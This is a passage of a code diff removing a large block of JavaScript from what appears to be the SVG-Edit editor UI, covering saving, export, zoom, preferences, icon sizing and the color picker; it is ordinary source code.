-				svgCanvas.cycleElement(0);
-			};
-			
-			var rotateSelected = function(cw,step) {
-				if (selectedElement == null || multiselected) return;
-				if(!cw) step *= -1;
-				var new_angle = $('#angle').val()*1 + step;
-				svgCanvas.setRotationAngle(new_angle);
-				updateContextPanel();
-			};
-			
-			var clickClear = function(){
-				var dims = curConfig.dimensions;
-				$.confirm(uiStrings.notification.QwantToClear, function(ok) {
-					if(!ok) return;
-					setSelectMode();
-					svgCanvas.clear();
-					svgCanvas.setResolution(dims[0], dims[1]);
-					updateCanvas(true);
-					zoomImage();
-					populateLayers();
-					updateContextPanel();
-					prepPaints();
-				});
-			};
-			
-			var clickBold = function(){
-				svgCanvas.setBold( !svgCanvas.getBold() );
-				updateContextPanel();
-				return false;
-			};
-			
-			var clickItalic = function(){
-				svgCanvas.setItalic( !svgCanvas.getItalic() );
-				updateContextPanel();
-				return false;
-			};
-		
-			var clickSave = function(){
-				// In the future, more options can be provided here
-				var saveOpts = {
-					'images': curPrefs.img_save,
-					'round_digits': 6
-				}
-				svgCanvas.save(saveOpts);
-			};
-			
-			var clickExport = function() {
-				// Open placeholder window (prevents popup)
-				if(!customHandlers.pngsave)  {
-					var str = uiStrings.notification.loadingImage;
-					exportWindow = window.open("data:text/html;charset=utf-8,<title>" + str + "<\/title><h1>" + str + "<\/h1>");
-				}
-
-				if(window.canvg) {
-					svgCanvas.rasterExport();
-				} else {
-					$.getScript('canvg/rgbcolor.js', function() {
-						$.getScript('canvg/canvg.js', function() {
-							svgCanvas.rasterExport();
-						});
-					});
-				}
-			}
-			
-			// by default, svgCanvas.open() is a no-op.
-			// it is up to an extension mechanism (opera widget, etc) 
-			// to call setCustomHandlers() which will make it do something
-			var clickOpen = function(){
-				svgCanvas.open();
-			};
-			var clickImport = function(){
-			};
-		
-			var clickUndo = function(){
-				if (undoMgr.getUndoStackSize() > 0) {
-					undoMgr.undo();
-					populateLayers();
-				}
-			};
-		
-			var clickRedo = function(){
-				if (undoMgr.getRedoStackSize() > 0) {
-					undoMgr.redo();
-					populateLayers();
-				}
-			};
-			
-			var clickGroup = function(){
-				// group
-				if (multiselected) {
-					svgCanvas.groupSelectedElements();
-				}
-				// ungroup
-				else if(selectedElement){
-					svgCanvas.ungroupSelectedElement();
-				}
-			};
-			
-			var clickClone = function(){
-				svgCanvas.cloneSelectedElements(20,20);
-			};
-			
-			var clickAlign = function() {
-				var letter = this.id.replace('tool_align','').charAt(0);
-				svgCanvas.alignSelectedElements(letter, $('#align_relative_to').val());
-			};
-			
-			var zoomImage = function(multiplier) {
-				var res = svgCanvas.getResolution();
-				multiplier = multiplier?res.zoom * multiplier:1;
-		// 		setResolution(res.w * multiplier, res.h * multiplier, true);
-				$('#zoom').val(multiplier * 100);
-				svgCanvas.setZoom(multiplier);
-				zoomDone();
-				updateCanvas(true);
-			};
-			
-			var zoomDone = function() {
-		// 		updateBgImage();
-				updateWireFrame();
-				//updateCanvas(); // necessary?
-			}
-		
-			var clickWireframe = function() {
-				var wf = !$('#tool_wireframe').hasClass('push_button_pressed');
-				if (wf) 
-					$('#tool_wireframe').addClass('push_button_pressed').removeClass('tool_button');
-				else
-					$('#tool_wireframe').removeClass('push_button_pressed').addClass('tool_button');
-				workarea.toggleClass('wireframe');
-				
-				if(supportsNonSS) return;
-				var wf_rules = $('#wireframe_rules');
-				if(!wf_rules.length) {
-					wf_rules = $('<style id="wireframe_rules"><\/style>').appendTo('head');
-				} else {
-					wf_rules.empty();
-				}
-				
-				updateWireFrame();
-			}
-			
-			var updateWireFrame = function() {
-				// Test support
-				if(supportsNonSS) return;
-		
-				var rule = "#workarea.wireframe #svgcontent * { stroke-width: " + 1/svgCanvas.getZoom() + "px; }";
-				$('#wireframe_rules').text(workarea.hasClass('wireframe') ? rule : "");
-			}
-		
-			var showSourceEditor = function(e, forSaving){
-				if (editingsource) return;
-				editingsource = true;
-				
-				$('#save_output_btns').toggle(!!forSaving);
-				$('#tool_source_back').toggle(!forSaving);
-				
-				var str = orig_source = svgCanvas.getSvgString();
-				$('#svg_source_textarea').val(str);
-				$('#svg_source_editor').fadeIn();
-				properlySourceSizeTextArea();
-				$('#svg_source_textarea').focus();
-			};
-			
-			$('#svg_docprops_container, #svg_prefs_container').draggable({cancel:'button,fieldset', containment: 'window'});
-			
-			var showDocProperties = function(){
-				if (docprops) return;
-				docprops = true;
-				
-				// This selects the correct radio button by using the array notation
-				$('#image_save_opts input').val([curPrefs.img_save]);
-				
-				// update resolution option with actual resolution
-				var res = svgCanvas.getResolution();
-				if(curConfig.baseUnit !== "px") {
-					res.w = svgedit.units.convertUnit(res.w) + curConfig.baseUnit;
-					res.h = svgedit.units.convertUnit(res.h) + curConfig.baseUnit;
-				}
-				
-				$('#canvas_width').val(res.w);
-				$('#canvas_height').val(res.h);
-				$('#canvas_title').val(svgCanvas.getDocumentTitle());
-				
-				$('#svg_docprops').show();
-			};
-			
-			
-			var showPreferences = function(){
-				if (preferences) return;
-				preferences = true;
-				$('#main_menu').hide();
-				
-				// Update background color with current one
-				var blocks = $('#bg_blocks div');
-				var cur_bg = 'cur_background';
-				var canvas_bg = $.pref('bkgd_color');
-				var url = $.pref('bkgd_url');
-		// 		if(url) url = url[1];
-				blocks.each(function() {
-					var blk = $(this);
-					var is_bg = blk.css('background-color') == canvas_bg;
-					blk.toggleClass(cur_bg, is_bg);
-					if(is_bg) $('#canvas_bg_url').removeClass(cur_bg);
-				});
-				if(!canvas_bg) blocks.eq(0).addClass(cur_bg);
-				if(url) {
-					$('#canvas_bg_url').val(url);
-				}
-				$('grid_snapping_step').attr('value', curConfig.snappingStep);
-				if (curConfig.gridSnapping == true) {
-				    $('#grid_snapping_on').attr('checked', 'checked');
-				} else {
-				    $('#grid_snapping_on').removeAttr('checked');
-				}
-				
-				$('#svg_prefs').show();
-			};			
-			
-			var properlySourceSizeTextArea = function(){
-				// TODO: remove magic numbers here and get values from CSS
-				var height = $('#svg_source_container').height() - 80;
-				$('#svg_source_textarea').css('height', height);
-			};
-			
-			var saveSourceEditor = function(){
-				if (!editingsource) return;
-		
-				var saveChanges = function() {
-					svgCanvas.clearSelection();
-					hideSourceEditor();
-					zoomImage();
-					populateLayers();
-					updateTitle();
-					prepPaints();
-				}
-		
-				if (!svgCanvas.setSvgString($('#svg_source_textarea').val())) {
-					$.confirm(uiStrings.notification.QerrorsRevertToSource, function(ok) {
-						if(!ok) return false;
-						saveChanges();
-					});
-				} else {
-					saveChanges();
-				}
-				setSelectMode();		
-			};
-			
-			var updateTitle = function(title) {
-				title = title || svgCanvas.getDocumentTitle();
-				var new_title = orig_title + (title?': ' + title:'');
-				
-				// Remove title update with current context info, isn't really necessary
-// 				if(cur_context) {
-// 					new_title = new_title + cur_context;
-// 				}
-				$('title:first').text(new_title);
-			}
-			
-			var saveDocProperties = function(){
-				// set title
-				var new_title = $('#canvas_title').val();
-				updateTitle(new_title);
-				svgCanvas.setDocumentTitle(new_title);
-			
-				// update resolution
-				var width = $('#canvas_width'), w = width.val();
-				var height = $('#canvas_height'), h = height.val();
-		
-				if(w != "fit" && !svgedit.units.isValidUnit('width', w)) {
-					$.alert(uiStrings.notification.invalidAttrValGiven);
-					width.parent().addClass('error');
-					return false;
-				}
-				
-				width.parent().removeClass('error');
-				
-				if(h != "fit" && !svgedit.units.isValidUnit('height', h)) {
-					$.alert(uiStrings.notification.invalidAttrValGiven);
-					height.parent().addClass('error');
-					return false;
-				} 
-				
-				height.parent().removeClass('error');
-				
-				if(!svgCanvas.setResolution(w, h)) {
-					$.alert(uiStrings.notification.noContentToFitTo);
-					return false;
-				}
-				
-				// set image save option
-				curPrefs.img_save = $('#image_save_opts :checked').val();
-				$.pref('img_save',curPrefs.img_save);
-				updateCanvas();
-				hideDocProperties();
-			};
-			
-			var savePreferences = function() {
-				// set background
-				var color = $('#bg_blocks div.cur_background').css('background-color') || '#FFF';
-				setBackground(color, $('#canvas_bg_url').val());
-				
-				// set language
-				var lang = $('#lang_select').val();
-				if(lang != curPrefs.lang) {
-					Editor.putLocale(lang);
-				}
-				
-				// set icon size
-				setIconSize($('#iconsize').val());
-				
-				// set grid setting
-				curConfig.gridSnapping = $('#grid_snapping_on')[0].checked;
-				curConfig.snappingStep = $('#grid_snapping_step').val();
-				curConfig.showRulers = $('#show_rulers')[0].checked;
-				
-				$('#rulers').toggle(curConfig.showRulers);
-				if(curConfig.showRulers) updateRulers();
-				curConfig.baseUnit = $('#base_unit').val();
-				
-				svgCanvas.setConfig(curConfig);
-
-				updateCanvas();
-				hidePreferences();
-			}
-			
-			function setBackground(color, url) {
-// 				if(color == curPrefs.bkgd_color && url == curPrefs.bkgd_url) return;
-				$.pref('bkgd_color', color);
-				$.pref('bkgd_url', url);
-				
-				// This should be done in svgcanvas.js for the borderRect fill
-				svgCanvas.setBackground(color, url);
-			}
-			
-			var setIcon = Editor.setIcon = function(elem, icon_id, forcedSize) {
-				var icon = (typeof icon_id === 'string') ? $.getSvgIcon(icon_id, true) : icon_id.clone();
-				if(!icon) {
-					console.log('NOTE: Icon image missing: ' + icon_id);
-					return;
-				}
-
-				$(elem).empty().append(icon);
-			}
-		
-			var ua_prefix;
-			(ua_prefix = function() {
-				var regex = /^(Moz|Webkit|Khtml|O|ms|Icab)(?=[A-Z])/;
-				var someScript = document.getElementsByTagName('script')[0];
-				for(var prop in someScript.style) {
-					if(regex.test(prop)) {
-						// test is faster than match, so it's better to perform
-						// that on the lot and match only when necessary
-						return prop.match(regex)[0];
-					}
-				}
-			
-				// Nothing found so far?
-				if('WebkitOpacity' in someScript.style) return 'Webkit';
-				if('KhtmlOpacity' in someScript.style) return 'Khtml';
-				
-				return '';
-			}());
-			
-			var scaleElements = function(elems, scale) {
-				var prefix = '-' + ua_prefix.toLowerCase() + '-';
-				
-				var sides = ['top', 'left', 'bottom', 'right'];
-			
-				elems.each(function() {
-// 					console.log('go', scale);
-
-					// Handled in CSS
-					// this.style[ua_prefix + 'Transform'] = 'scale(' + scale + ')';
-				
-					var el = $(this);
-					
-					var w = el.outerWidth() * (scale - 1);
-					var h = el.outerHeight() * (scale - 1);
-					var margins = {};
-					
-					for(var i = 0; i < 4; i++) {
-						var s = sides[i];
-						
-						var cur = el.data('orig_margin-' + s);
-						if(cur == null) {
-							cur = parseInt(el.css('margin-' + s));
-							// Cache the original margin
-							el.data('orig_margin-' + s, cur);
-						}
-						var val = cur * scale;
-						if(s === 'right') {
-							val += w;
-						} else if(s === 'bottom') {
-							val += h;
-						}
-						
-						el.css('margin-' + s, val);
-// 						el.css('outline', '1px solid red');
-					}
-				});
-			}
-			
-			var setIconSize = Editor.setIconSize = function(size, force) {
-				if(size == curPrefs.size && !force) return;
-// 				return;
-// 				var elems = $('.tool_button, .push_button, .tool_button_current, .disabled, .icon_label, #url_notice, #tool_open');
-				console.log('size', size);
-				
-				var sel_toscale = '#tools_top .toolset, #editor_panel > *, #history_panel > *,\
-				#main_button, #tools_left > *, #path_node_panel > *, #multiselected_panel > *,\
-				#g_panel > *, #tool_font_size > *, .tools_flyout';
-				
-				var elems = $(sel_toscale);
-				
-				var scale = 1;
-				
-				if(typeof size == 'number') {
-					scale = size;
-				} else {
-					var icon_sizes = { s:.75, m:1, l:1.25, xl:1.5 };
-					scale = icon_sizes[size];
-				}
-				
-				Editor.tool_scale = tool_scale = scale;
-				
-				setFlyoutPositions();
-				// $('.tools_flyout').each(function() {
-// 					var pos = $(this).position();
-// 					console.log($(this),  pos.left+(34 * scale));
-// 					$(this).css({'left': pos.left+(34 * scale), 'top': pos.top+(77 * scale)});
-// 					console.log('l', $(this).css('left'));
-// 				});
-
-// 				var scale = .75;//0.75;
-				
-				var hidden_ps = elems.parents(':hidden');
-				hidden_ps.css('visibility', 'hidden').show();
-				scaleElements(elems, scale);
-				hidden_ps.css('visibility', 'visible').hide();
-// 				console.timeEnd('elems');								
-// 				return;
-				
-				$.pref('iconsize', size);
-				$('#iconsize').val(size);
-				
-				
-				// Change icon size
-// 				$('.tool_button, .push_button, .tool_button_current, .disabled, .icon_label, #url_notice, #tool_open')
-// 				.find('> svg, > img').each(function() {
-// 					this.setAttribute('width',size_num);
-// 					this.setAttribute('height',size_num);
-// 				});
-// 				
-// 				$.resizeSvgIcons({
-// 					'.flyout_arrow_horiz > svg, .flyout_arrow_horiz > img': size_num / 5,
-// 					'#logo > svg, #logo > img': size_num * 1.3,
-// 					'#tools_bottom .icon_label > *': (size_num === 16 ? 18 : size_num * .75)
-// 				});
-// 				if(size != 's') {
-// 					$.resizeSvgIcons({'#layerbuttons svg, #layerbuttons img': size_num * .6});
-// 				}
-				
-				// Note that all rules will be prefixed with '#svg_editor' when parsed
-				var cssResizeRules = {
-// 					".tool_button,\
-// 					.push_button,\
-// 					.tool_button_current,\
-// 					.push_button_pressed,\
-// 					.disabled,\
-// 					.icon_label,\
-// 					.tools_flyout .tool_button": {
-// 						'width': {s: '16px', l: '32px', xl: '48px'},
-// 						'height': {s: '16px', l: '32px', xl: '48px'},
-// 						'padding': {s: '1px', l: '2px', xl: '3px'}
-// 					},
-// 					".tool_sep": {
-// 						'height': {s: '16px', l: '32px', xl: '48px'},
-// 						'margin': {s: '2px 2px', l: '2px 5px', xl: '2px 8px'}
-// 					},
-// 					"#main_icon": {
-// 						'width': {s: '31px', l: '53px', xl: '75px'},
-// 						'height': {s: '22px', l: '42px', xl: '64px'}
-// 					},
-					"#tools_top": {
-						'left': 50,
-						'height': 72
-					},
-					"#tools_left": {
-						'width': 31,
-						'top': 74
-					},
-					"div#workarea": {
-						'left': 38,
-						'top': 74
-					}
-// 					"#tools_bottom": {
-// 						'left': {s: '27px', l: '46px', xl: '65px'},
-// 						'height': {s: '58px', l: '98px', xl: '145px'}
-// 					},
-// 					"#color_tools": {
-// 						'border-spacing': {s: '0 1px'},
-// 						'margin-top': {s: '-1px'}
-// 					},
-// 					"#color_tools .icon_label": {
-// 						'width': {l:'43px', xl: '60px'}
-// 					},
-// 					".color_tool": {
-// 						'height': {s: '20px'}
-// 					},
-// 					"#tool_opacity": {
-// 						'top': {s: '1px'},
-// 						'height': {s: 'auto', l:'auto', xl:'auto'}
-// 					},
-// 					"#tools_top input, #tools_bottom input": {
-// 						'margin-top': {s: '2px', l: '4px', xl: '5px'},
-// 						'height': {s: 'auto', l: 'auto', xl: 'auto'},
-// 						'border': {s: '1px solid #555', l: 'auto', xl: 'auto'},
-// 						'font-size': {s: '.9em', l: '1.2em', xl: '1.4em'}
-// 					},
-// 					"#zoom_panel": {
-// 						'margin-top': {s: '3px', l: '4px', xl: '5px'}
-// 					},
-// 					"#copyright, #tools_bottom .label": {
-// 						'font-size': {l: '1.5em', xl: '2em'},
-// 						'line-height': {s: '15px'}
-// 					},
-// 					"#tools_bottom_2": {
-// 						'width': {l: '295px', xl: '355px'},
-// 						'top': {s: '4px'}
-// 					},
-// 					"#tools_top > div, #tools_top": {
-// 						'line-height': {s: '17px', l: '34px', xl: '50px'}
-// 					}, 
-// 					".dropdown button": {
-// 						'height': {s: '18px', l: '34px', xl: '40px'},
-// 						'line-height': {s: '18px', l: '34px', xl: '40px'},
-// 						'margin-top': {s: '3px'}
-// 					},
-// 					"#tools_top label, #tools_bottom label": {
-// 						'font-size': {s: '1em', l: '1.5em', xl: '2em'},
-// 						'height': {s: '25px', l: '42px', xl: '64px'}
-// 					}, 
-// 					"div.toolset": {
-// 						'height': {s: '25px', l: '42px', xl: '64px'}
-// 					},
-// 					"#tool_bold, #tool_italic": {
-// 						'font-size': {s: '1.5em', l: '3em', xl: '4.5em'}
-// 					},
-// 					"#sidepanels": {
-// 						'top': {s: '50px', l: '88px', xl: '125px'},
-// 						'bottom': {s: '51px', l: '68px', xl: '65px'}
-// 					},
-// 					'#layerbuttons': {
-// 						'width': {l: '130px', xl: '175px'},
-// 						'height': {l: '24px', xl: '30px'}
-// 					},
-// 					'#layerlist': {
-// 						'width': {l: '128px', xl: '150px'}
-// 					},			
-// 					'.layer_button': {
-// 						'width': {l: '19px', xl: '28px'},
-// 						'height': {l: '19px', xl: '28px'}
-// 					},
-// 					"input.spin-button": {
-// 						'background-image': {l: "url('images/spinbtn_updn_big.png')", xl: "url('images/spinbtn_updn_big.png')"},
-// 						'background-position': {l: '100% -5px', xl: '100% -2px'},
-// 						'padding-right': {l: '24px', xl: '24px' }
-// 					},
-// 					"input.spin-button.up": {
-// 						'background-position': {l: '100% -45px', xl: '100% -42px'}
-// 					},
-// 					"input.spin-button.down": {
-// 						'background-position': {l: '100% -85px', xl: '100% -82px'}
-// 					},
-// 					"#position_opts": {
-// 						'width': {all: (size_num*4) +'px'}
-// 					}
-				};
-				
-				var rule_elem = $('#tool_size_rules');
-				if(!rule_elem.length) {
-					rule_elem = $('<style id="tool_size_rules"><\/style>').appendTo('head');
-				} else {
-					rule_elem.empty();
-				}
-				
-				if(size != 'm') {
-					var style_str = '';
-					$.each(cssResizeRules, function(selector, rules) {
-						selector = '#svg_editor ' + selector.replace(/,/g,', #svg_editor');
-						style_str += selector + '{';
-						$.each(rules, function(prop, values) {
-							if(typeof values === 'number') {
-								var val = (values * scale) + 'px';
-							} else if(values[size] || values.all) {
-								var val = (values[size] || values.all);
-							}
-							style_str += (prop + ':' + val + ';');
-						});
-						style_str += '}';
-					});
-					//this.style[ua_prefix + 'Transform'] = 'scale(' + scale + ')';
-					var prefix = '-' + ua_prefix.toLowerCase() + '-';
-					style_str += (sel_toscale + '{' + prefix + 'transform: scale(' + scale + ');}'
-					+ ' #svg_editor div.toolset .toolset {' + prefix + 'transform: scale(1); margin: 1px !important;}' // Hack for markers
-					+ ' #svg_editor .ui-slider {' + prefix + 'transform: scale(' + (1/scale) + ');}' // Hack for sliders
-					);
-					rule_elem.text(style_str);
-				}
-				
-				setFlyoutPositions();
-			}
-		
-			var cancelOverlays = function() {
-				$('#dialog_box').hide();
-				if (!editingsource && !docprops && !preferences) {
-					if(cur_context) {
-						svgCanvas.leaveContext();
-					}
-					return;
-				};
-		
-				if (editingsource) {
-					if (orig_source !== $('#svg_source_textarea').val()) {
-						$.confirm(uiStrings.notification.QignoreSourceChanges, function(ok) {
-							if(ok) hideSourceEditor();
-						});
-					} else {
-						hideSourceEditor();
-					}
-				}
-				else if (docprops) {
-					hideDocProperties();
-				} else if (preferences) {
-					hidePreferences();
-				}
-				resetScrollPos();
-			};
-		
-			var hideSourceEditor = function(){
-				$('#svg_source_editor').hide();
-				editingsource = false;
-				$('#svg_source_textarea').blur();
-			};
-			
-			var hideDocProperties = function(){
-				$('#svg_docprops').hide();
-				$('#canvas_width,#canvas_height').removeAttr('disabled');
-				$('#resolution')[0].selectedIndex = 0;
-				$('#image_save_opts input').val([curPrefs.img_save]);
-				docprops = false;
-			};
-			
-			var hidePreferences = function(){
-				$('#svg_prefs').hide();
-				preferences = false;
-			};
-
-			var win_wh = {width:$(window).width(), height:$(window).height()};
-			
-			var resetScrollPos = $.noop, curScrollPos;
-			
-			// Fix for Issue 781: Drawing area jumps to top-left corner on window resize (IE9)
-			if(svgedit.browser.isIE()) {
-				(function() {
-					resetScrollPos = function() {
-						if(workarea[0].scrollLeft === 0 
-						&& workarea[0].scrollTop === 0) {
-							workarea[0].scrollLeft = curScrollPos.left;
-							workarea[0].scrollTop = curScrollPos.top;
-						}
-					}
-				
-					curScrollPos = {
-						left: workarea[0].scrollLeft,
-						top: workarea[0].scrollTop
-					};
-					
-					$(window).resize(resetScrollPos);
-					svgEditor.ready(function() {
-						// TODO: Find better way to detect when to do this to minimize
-						// flickering effect
-						setTimeout(function() {
-							resetScrollPos();
-						}, 500);
-					});
-					
-					workarea.scroll(function() {
-						curScrollPos = {
-							left: workarea[0].scrollLeft,
-							top: workarea[0].scrollTop
-						};
-					});
-				}());
-			}
-			
-			$(window).resize(function(evt) {
-				if (editingsource) {
-					properlySourceSizeTextArea();
-				}
-				
-				$.each(win_wh, function(type, val) {
-					var curval = $(window)[type]();
-					workarea[0]['scroll' + (type==='width'?'Left':'Top')] -= (curval - val)/2;
-					win_wh[type] = curval;
-				});
-			});
-			
-			(function() {
-				workarea.scroll(function() {
-					// TODO:  jQuery's scrollLeft/Top() wouldn't require a null check
-					if ($('#ruler_x').length != 0) {
-						$('#ruler_x')[0].scrollLeft = workarea[0].scrollLeft;
-					}
-					if ($('#ruler_y').length != 0) {
-						$('#ruler_y')[0].scrollTop = workarea[0].scrollTop;	
-					}
-				});
-
-			}());
-			
-			$('#url_notice').click(function() {
-				$.alert(this.title);
-			});
-			
-			$('#change_image_url').click(promptImgURL);
-			
-			function promptImgURL() {
-				var curhref = svgCanvas.getHref(selectedElement);
-				curhref = curhref.indexOf("data:") === 0?"":curhref;
-				$.prompt(uiStrings.notification.enterNewImgURL, curhref, function(url) {
-					if(url) setImageURL(url);
-				});
-			}
-		
-			// added these event handlers for all the push buttons so they
-			// behave more like buttons being pressed-in and not images
-			(function() {
-				var toolnames = ['clear','open','save','source','delete','delete_multi','paste','clone','clone_multi','move_top','move_bottom'];
-				var all_tools = '';
-				var cur_class = 'tool_button_current';
-				
-				$.each(toolnames, function(i,item) {
-					all_tools += '#tool_' + item + (i==toolnames.length-1?',':'');
-				});
-				
-				$(all_tools).mousedown(function() {
-					$(this).addClass(cur_class);
-				}).bind('mousedown mouseout', function() {
-					$(this).removeClass(cur_class);
-				});
-				
-				$('#tool_undo, #tool_redo').mousedown(function(){ 
-					if (!$(this).hasClass('disabled')) $(this).addClass(cur_class);
-				}).bind('mousedown mouseout',function(){
-					$(this).removeClass(cur_class);}
-				);
-			}());
-		
-			// switch modifier key in tooltips if mac
-			// NOTE: This code is not used yet until I can figure out how to successfully bind ctrl/meta
-			// in Opera and Chrome
-			if (isMac && !window.opera) {
-				var shortcutButtons = ["tool_clear", "tool_save", "tool_source", "tool_undo", "tool_redo", "tool_clone"];
-				var i = shortcutButtons.length;
-				while (i--) {
-					var button = document.getElementById(shortcutButtons[i]);
-					if (button != null) {
-						var title = button.title;
-						var index = title.indexOf("Ctrl+");
-						button.title = [title.substr(0, index), "Cmd+", title.substr(index + 5)].join('');
-					}
-				}
-			}
-			
-			// TODO: go back to the color boxes having white background-color and then setting
-			//       background-image to none.png (otherwise partially transparent gradients look weird)	
-			var colorPicker = function(elem) {
-				var picker = elem.attr('id') == 'stroke_color' ? 'stroke' : 'fill';
-// 				var opacity = (picker == 'stroke' ? $('#stroke_opacity') : $('#fill_opacity'));
-				var paint = paintBox[picker].paint;
-				var title = (picker == 'stroke' ? 'Pick a Stroke Paint and Opacity' : 'Pick a Fill Paint and Opacity');
-				var was_none = false;
-				var pos = elem.position();
-				$("#color_picker")
-					.draggable({cancel:'.jGraduate_tabs, .jGraduate_colPick, .jGraduate_gradPick, .jPicker', containment: 'window'})
-					.css(curConfig.colorPickerCSS || {'left': pos.left, 'bottom': 50 - pos.top})
-					.jGraduate(
-					{ 
-						paint: paint,
-						window: { pickerTitle: title },
-						images: { clientPath: curConfig.jGraduatePath },
-						newstop: 'inverse'
-					},
-					function(p) {
-						paint = new $.jGraduate.Paint(p);
-						
-						paintBox[picker].setPaint(paint);
-						svgCanvas.setPaint(picker, paint);
-						
-						$('#color_picker').hide();
-					},
-					function(p) {
-						$('#color_picker').hide();
-					});
-			};
-		
-			var updateToolButtonState = function() {
-				var bNoFill = (svgCanvas.getColor('fill') == 'none');
-				var bNoStroke = (svgCanvas.getColor('stroke') == 'none');
-				var buttonsNeedingStroke = [ '#tool_fhpath', '#tool_line' ];
-				var buttonsNeedingFillAndStroke = [ '#tools_rect .tool_button', '#tools_ellipse .tool_button', '#tool_text', '#tool_path'];
-				if (bNoStroke) {
-					for (var index in buttonsNeedingStroke) {
-						var button = buttonsNeedingStroke[index];
-						if ($(button).hasClass('tool_button_current')) {
-							clickSelect();
-						}
-						$(button).addClass('disabled');
-					}
-				}
-				else {
-					for (var index in buttonsNeedingStroke) {
-						var button = buttonsNeedingStroke[index];
-						$(button).removeClass('disabled');
-					}
-				}
-		
-				if (bNoStroke && bNoFill) {
-					for (var index in buttonsNeedingFillAndStroke) {
-						var button = buttonsNeedingFillAndStroke[index];
-						if ($(button).hasClass('tool_button_current')) {
-							clickSelect();
-						}
-						$(button).addClass('disabled');
-					}
-				}
-				else {
-					for (var index in buttonsNeedingFillAndStroke) {
-						var button = buttonsNeedingFillAndStroke[index];
-						$(button).removeClass('disabled');
-					}
-				}
-				
-				svgCanvas.runExtensions("toolButtonStateUpdate", {
-					nofill: bNoFill,
-					nostroke: bNoStroke
-				});
-				
-				// Disable flyouts if all inside are disabled
-				$('.tools_flyout').each(function() {
-					var shower = $('#' + this.id + '_show');
-					var has_enabled = false;
-					$(this).children().each(function() {
-						if(!$(this).hasClass('disabled')) {
-							has_enabled = true;
-						}
-					});
-					shower.toggleClass('disabled', !has_enabled);
-				});
-		
-				operaRepaint();
-			};
-			
-
-
-			var PaintBox = function(container, type) {
-				var cur = curConfig[type === 'fill' ? 'initFill' : 'initStroke'];
-				
-				// set up gradients to be used for the buttons
-				var svgdocbox = new DOMParser().parseFromString(
-					'<svg xmlns="http://www.w3.org/2000/svg"><rect width="100%" height="100%"\
-					fill="#' + cur.color + '" opacity="' + cur.opacity + '"/>\
-					<defs><linearGradient id="gradbox_"/></defs></svg>', 'text/xml');
-				var docElem = svgdocbox.documentElement;
-				
-				docElem = $(container)[0].appendChild(document.importNode(docElem, true));
-
-				docElem.setAttribute('width',16.5);
-				
-				this.rect = docElem.firstChild;
-				this.defs = docElem.getElementsByTagName('defs')[0];
-				this.grad = this.defs.firstChild;
-				this.paint = new $.jGraduate.Paint({solidColor: cur.color});
-				this.type = type;
-
-				this.setPaint = function(paint, apply) {
-					this.paint = paint;
-					
-					var fillAttr = "none";
-					var ptype = paint.type;
-					var opac = paint.alpha / 100;
-					
-					switch ( ptype ) {
-						case 'solidColor':
-							fillAttr = "#" + paint[ptype];
-							break;
-						case 'linearGradient':
-						case 'radialGradient':
-							this.defs.removeChild(this.grad);
-							this.grad = this.defs.appendChild(paint[ptype]);
-							var id = this.grad.id = 'gradbox_' + this.type;
-							fillAttr = "url(#" + id + ')';
-					}
-					
-					this.rect.setAttribute('fill', fillAttr);
-					this.rect.setAttribute('opacity', opac);
-					
-					if(apply) {
-						svgCanvas.setColor(this.type, paintColor, true);
-						svgCanvas.setPaintOpacity(this.type, paintOpacity, true);
-					}
-				}
-				
-				this.update = function(apply) {
-					if(!selectedElement) return;
-					var type = this.type;
-					
-					switch ( selectedElement.tagName ) {
-					case 'use':
-					case 'image':
-					case 'foreignObject':
-						// These elements don't have fill or stroke, so don't change 
-						// the current value
-						return;
-					case 'g':
-					case 'a':
-						var gPaint = null;
-					
-						var childs = selectedElement.getElementsByTagName('*');
-						for(var i = 0, len = childs.length; i < len; i++) {
-							var elem = childs[i];
-							var p = elem.getAttribute(type);
-							if(i === 0) {
-								gPaint = p;
-							} else if(gPaint !== p) {
-								gPaint = null;
-								break;
-							}
-						}
-						if(gPaint === null) {
-							// No common color, don't update anything
-							var paintColor = null;
-							return;
-						}
-						var paintColor = gPaint;
-						
-						var paintOpacity = 1;
-						break;
-					default:
-						var paintOpacity = parseFloat(selectedElement.getAttribute(type + "-opacity"));
-						if (isNaN(paintOpacity)) {
-							paintOpacity = 1.0;
-						}
-						
-						var defColor = type === "fill" ? "black" : "none";
-						var paintColor = selectedElement.getAttribute(type) || defColor;
-					}
-
-					if(apply) {
-						svgCanvas.setColor(type, paintColor, true);
-						svgCanvas.setPaintOpacity(type, paintOpacity, true);
-					}
-
-					paintOpacity *= 100;					
-					
-					var paint = getPaint(paintColor, paintOpacity, type);
-					// update the rect inside #fill_color/#stroke_color
-					this.setPaint(paint);
-				}
-				
-				this.prep = function() {
-					var ptype = this.paint.type;
-				
-					switch ( ptype ) {
-						case 'linearGradient':
-						case 'radialGradient':
-							var paint = new $.jGraduate.Paint({copy: this.paint});
-							svgCanvas.setPaint(type, paint);
-					}
-				}
-			};
-			
-			paintBox.fill = new PaintBox('#fill_color', 'fill');
-			paintBox.stroke = new PaintBox('#stroke_color', 'stroke');
-
-			$('#stroke_width').val(curConfig.initStroke.width);
-			$('#group_opacity').val(curConfig.initOpacity * 100);
-			
-			// Use this SVG elem to test vectorEffect support
-			var test_el = paintBox.fill.rect.cloneNode(false);
-			test_el.setAttribute('style','vector-effect:non-scaling-stroke');
-			var supportsNonSS = (test_el.style.vectorEffect === 'non-scaling-stroke');
-			test_el.removeAttribute('style');
-			var svgdocbox = paintBox.fill.rect.ownerDocument;
-			// Use this to test support for blur element. Seems to work to test support in Webkit
-			var blur_test = svgdocbox.createElementNS('http://www.w3.org/2000/svg', 'feGaussianBlur');
-			if(typeof blur_test.stdDeviationX === "undefined") {
-				$('#tool_blur').hide();
-			}
-			$(blur_test).remove();
-			
-			// Test for zoom icon support
-			(function() {
-				var pre = '-' + ua_prefix.toLowerCase() + '-zoom-';
-				var zoom = pre + 'in';
-				workarea.css('cursor', zoom);
-				if(workarea.css('cursor') === zoom) {
-					zoomInIcon = zoom;
-					zoomOutIcon = pre + 'out';
-				}
-				workarea.css('cursor', 'auto');
-			}());
-
-			
-			
-			// Test for embedImage support (use timeout to not interfere with page load)
-			setTimeout(function() {
-				svgCanvas.embedImage('images/logo.png', function(datauri) {
-					if(!datauri) {
-						// Disable option
-						$('#image_save_opts [value=embed]').attr('disabled','disabled');
-						$('#image_save_opts input').val(['ref']);
-						curPrefs.img_save = 'ref';
-						$('#image_opt_embed').css('color','#666').attr('title',uiStrings.notification.featNotSupported);
-					}
-				});
-			},1000);
-				
-			$('#fill_color, #tool_fill .icon_label').click(function(){
-				colorPicker($('#fill_color'));
-				updateToolButtonState();
-			});
-		
-			$('#stroke_color, #tool_stroke .icon_label').click(function(){
